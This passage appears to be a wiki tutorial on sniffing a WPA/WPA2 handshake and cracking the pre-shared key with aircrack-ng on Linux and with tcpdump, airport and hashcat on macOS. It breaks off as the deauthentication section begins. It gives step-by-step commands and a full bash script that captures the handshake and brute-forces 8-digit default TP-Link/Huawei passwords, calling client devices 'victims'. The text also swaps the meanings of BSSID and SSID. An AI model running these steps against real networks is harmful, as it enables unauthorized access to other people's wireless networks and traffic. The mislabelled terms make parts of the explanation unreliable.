&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
* Install aircrack-ng suite: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Install Homebrew, the Missing Package Manager for macOS (or Linux): &amp;lt;code&amp;gt;/usr/bin/ruby -e &amp;quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode&lt;br /&gt;
 &lt;br /&gt;
   airmon-ng&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0   iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0mon  iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device&lt;br /&gt;
&lt;br /&gt;
   airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplican&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   service network-manager restart&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using &amp;lt;nowiki&amp;gt;tcpdump&amp;lt;/nowiki&amp;gt; instead of &amp;lt;nowiki&amp;gt;airodump-ng&amp;lt;/nowiki&amp;gt;, as well as the use of &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; (or John the ripper) instead of &amp;lt;nowiki&amp;gt;aircrack-ng&amp;lt;/nowiki&amp;gt; can also be ported to Linux and has advantages over the previously listed version. Only the use of &amp;lt;nowiki&amp;gt;airport&amp;lt;/nowiki&amp;gt; works exclusively on macOS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;crack_WPA2_PSK.sh&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: In this script, &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. &amp;lt;br&amp;gt;You may need to change the &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; command at the end of the script to fit your usecase.&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/bash&lt;br /&gt;
if [[ $UID != 0 ]]; then&lt;br /&gt;
    echo &amp;quot;Please run this script with sudo:&amp;quot;&lt;br /&gt;
    echo &amp;quot;sudo $0 $*&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
hr() {&lt;br /&gt;
  local start=$&#039;\e(0&#039; end=$&#039;\e(B&#039; line=&#039;qqqqqqqqqqqqqqqq&#039;&lt;br /&gt;
  local cols=${COLUMNS:-$(tput cols)}&lt;br /&gt;
  while ((${#line} &amp;lt; cols)); do line+=&amp;quot;$line&amp;quot;; done&lt;br /&gt;
  printf &#039;%s%s%s\n&#039; &amp;quot;$start&amp;quot; &amp;quot;${line:0:cols}&amp;quot; &amp;quot;$end&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner() {&lt;br /&gt;
  hr; printf &amp;quot; \033[0;31m${1}\033[0m\n&amp;quot;; hr&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Perform a wireless broadcast scan&amp;quot;&lt;br /&gt;
echo &#039; # airport -s&#039;&lt;br /&gt;
airport -s&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Enter dynamic configuration&amp;quot;&lt;br /&gt;
echo -n &amp;quot;  CHANNEL=&amp;quot;&lt;br /&gt;
read CHANNEL&lt;br /&gt;
echo -n &amp;quot;  BSSID=&amp;quot;&lt;br /&gt;
read BSSID&lt;br /&gt;
echo -n &amp;quot;  INTERFACE=&amp;quot;&lt;br /&gt;
read INTERFACE&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Disassociate from any network&amp;quot;&lt;br /&gt;
echo &#039; # airport -z&#039;&lt;br /&gt;
airport -z&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Set arbitrary channel on the card&amp;quot;&lt;br /&gt;
echo &#039; # airport -c$CHANNEL&#039;&lt;br /&gt;
airport -c$CHANNEL&lt;br /&gt;
echo &#039; # airport -c&#039;&lt;br /&gt;
airport -c&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture beacon frame&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture four-way handshake&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
# banner &amp;quot;Merge beacon frame and four-way handshake&amp;quot;&lt;br /&gt;
# Note: mergecap is part of wireshark&lt;br /&gt;
echo &#039; # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&#039;&lt;br /&gt;
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Convert .cap file to .hccapx format to be used with hashcat&amp;quot;&lt;br /&gt;
# Note: cap2hccapx is part of hashcat-utils&lt;br /&gt;
echo &#039; # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&lt;br /&gt;
banner &amp;quot;Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)&amp;quot;&lt;br /&gt;
# 00000000 - 99999999&lt;br /&gt;
echo &#039; # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&#039;&lt;br /&gt;
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Clean up&amp;quot;&lt;br /&gt;
echo &#039; # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
           The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
 # Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
 # Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
 sudo airport $INTERFACE sniff $CHANNEL&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disassociate from any network: (-z --disassociate)&lt;br /&gt;
 sudo airport -z&lt;br /&gt;
&lt;br /&gt;
* Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
 sudo airport -c&amp;lt;b&amp;gt;$CHANNEL&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Capture a beacon frame from the AP&lt;br /&gt;
 sudo tcpdump &amp;quot;type mgt subtype beacon and ether src &amp;lt;b&amp;gt;$BSSID&amp;lt;/b&amp;gt;&amp;quot; -I -c 1 -i &amp;lt;b&amp;gt;$INTERFACE&amp;lt;/b&amp;gt; -w beacon.cap&lt;br /&gt;
&lt;br /&gt;
* Wait for the WPA handshake&lt;br /&gt;
 sudo tcpdump &amp;quot;ether proto 0x888e and ether host &amp;lt;b&amp;gt;$BSSID&amp;lt;/b&amp;gt;&amp;quot; -I -U -vvv -i &amp;lt;b&amp;gt;$INTERFACE&amp;lt;/b&amp;gt; -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
* Merge the two files&lt;br /&gt;
 mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt; (or John the Ripper).&lt;br /&gt;
&lt;br /&gt;
* Convert .cap to .hcapx file (Part of &amp;lt;i&amp;gt;hashcat-utils&amp;lt;/i&amp;gt;)&lt;br /&gt;
 cap2hccapx capture.cap capture.hccapx&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Crack using a simple dictionary attack:&lt;br /&gt;
 hashcat -m 2500 capture.hccapx wordlist.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a &lt;br /&gt;
